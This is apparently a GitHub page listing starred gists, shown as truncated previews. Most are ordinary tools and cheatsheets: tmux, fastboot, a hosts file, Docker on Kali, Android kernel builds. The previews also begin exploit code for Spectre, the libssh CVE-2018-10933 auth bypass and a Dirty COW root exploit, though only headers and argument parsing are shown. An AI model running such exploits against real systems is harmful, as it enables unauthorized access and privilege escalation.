Skip to content

Instantly share code, notes, and snippets.

View thinkycx's full-sized avatar
😀

thinkycx thinkycx

😀
View GitHub Profile
@ryerh
ryerh / tmux-cheatsheet.markdown
Last active April 18, 2024 18:06 — forked from MohamedAlaa/tmux-cheatsheet.markdown
Tmux 快捷键 & 速查表 & 简明教程

注意:本文内容适用于 Tmux 2.3 及以上的版本,但是绝大部分的特性低版本也都适用,鼠标支持、VI 模式、插件管理在低版本可能会与本文不兼容。

Tmux 快捷键 & 速查表 & 简明教程

启动新会话:

tmux [new -s 会话名 -n 窗口名]

恢复会话:

@ErikAugust
ErikAugust / spectre.c
Last active April 15, 2024 13:55
Spectre example code
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#ifdef _MSC_VER
#include <intrin.h> /* for rdtscp and clflush */
#pragma optimize("gt",on)
#else
#include <x86intrin.h> /* for rdtscp and clflush */
#endif
#!/usr/bin/env python
# Based on https://www.openwall.com/lists/oss-security/2018/08/16/1
# untested CVE-2018-10933
import sys, paramiko
import logging
username = sys.argv[1]
hostname = sys.argv[2]
command = sys.argv[3]
@smac89
smac89 / fbootfix.md
Last active January 25, 2024 03:27
Linux Fix Fastboot "no permissions, verify udev rules"

Determine your device id

  1. Unplug your device from the computer and type lsusb in the terminal. You should get an output similar to this:
Bus 002 Device 002: ID 8087:8000 Intel Corp. 
Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 001 Device 002: ID 8087:8008 Intel Corp. 
Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub
Bus 003 Device 005: ID 0bda:0129 Realtek Semiconductor Corp. RTS5129 Card Reader Controller
@joseconstela
joseconstela / hosts
Last active January 5, 2024 06:27
Prevent OSX calling home
################################################################################
# Prevent OSX calling home #
# #
# Mix of different /etc/hosts files found over internet, and calls filtered #
# using LittleSnitch for months. #
# #
# OSX sends a huge amount of requests to Cuppertino, even when you don't use #
# Spotlight suggestions, iCloud, updates and other services. Even if they are #
# disabled. #
# #
@nikallass
nikallass / Kali 2017.1 x64, Docker-ce Install script
Last active January 3, 2024 11:12
Kali 2017.1 x64, Docker-ce Install script
#!/bin/bash
# update apt-get
export DEBIAN_FRONTEND="noninteractive"
sudo apt-get update
# remove previously installed Docker
sudo apt-get remove docker docker-engine docker.io* lxc-docker*
# install dependencies 4 cert
@ngaro
ngaro / dirty_passwd_adjust_cow.c
Last active November 20, 2023 03:44
A dirty cow exploit that automatically finds the current user in passwd and changes it's uid to 0
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <sys/types.h>
@atulprak
atulprak / wahoo_mybuild.sh
Last active May 23, 2023 03:51
Compiling Linux Kernel for Pixel 2 devices -- Bash script
#!/bin/bash
# Purpose: Script for building AOSP code and Linux kernel for walleye using open-source toolchains.
# Author: atulp@google.com
# License: Gnu GPL v. 2
# License is same as Linux kernel license, since the code helps compile the Linux kernel for a device
# Change these directory paths to point to your aosp and NDK folders.
export AOSP=~/src/aosp
export CROSS_COMPILE=~/ndk/android-ndk-r16b/toolchains/aarch64-linux-android-4.9/prebuilt/linux-x86_64/bin/aarch64-linux-android-
# Change these if you are building for something other than walleye (Pixel 2) as needed.
export KERNELNAME=wahoo
@dixson3
dixson3 / workspace.sh
Created January 10, 2014 19:11
Create and manage a case-sensitive disk-image on OSX. This is great when you have a need to work with case-sensitive repos on a mac.
#!/bin/bash
# where to store the sparse-image
WORKSPACE=~/Documents/workspace.dmg.sparseimage
create() {
hdiutil create -type SPARSE -fs 'Case-sensitive Journaled HFS+' -size 60g -volname workspace ${WORKSPACE}
}
detach() {
@ihciah
ihciah / README.MD
Created January 19, 2016 05:49
Pwnable.kr Toddler's Bottle writeup

Pwnable.kr Toddler's Bottle writeup

ihciah@gmail.com

It has been a long time since I finish(nearly) these problems...

1. fd

In linux, 0 is std_input, 1 is std_output, 2 is std_error_output.

We just need to send LETMEWIN to std_input and set fd to 0 which means (our input - 0x1234) == 0.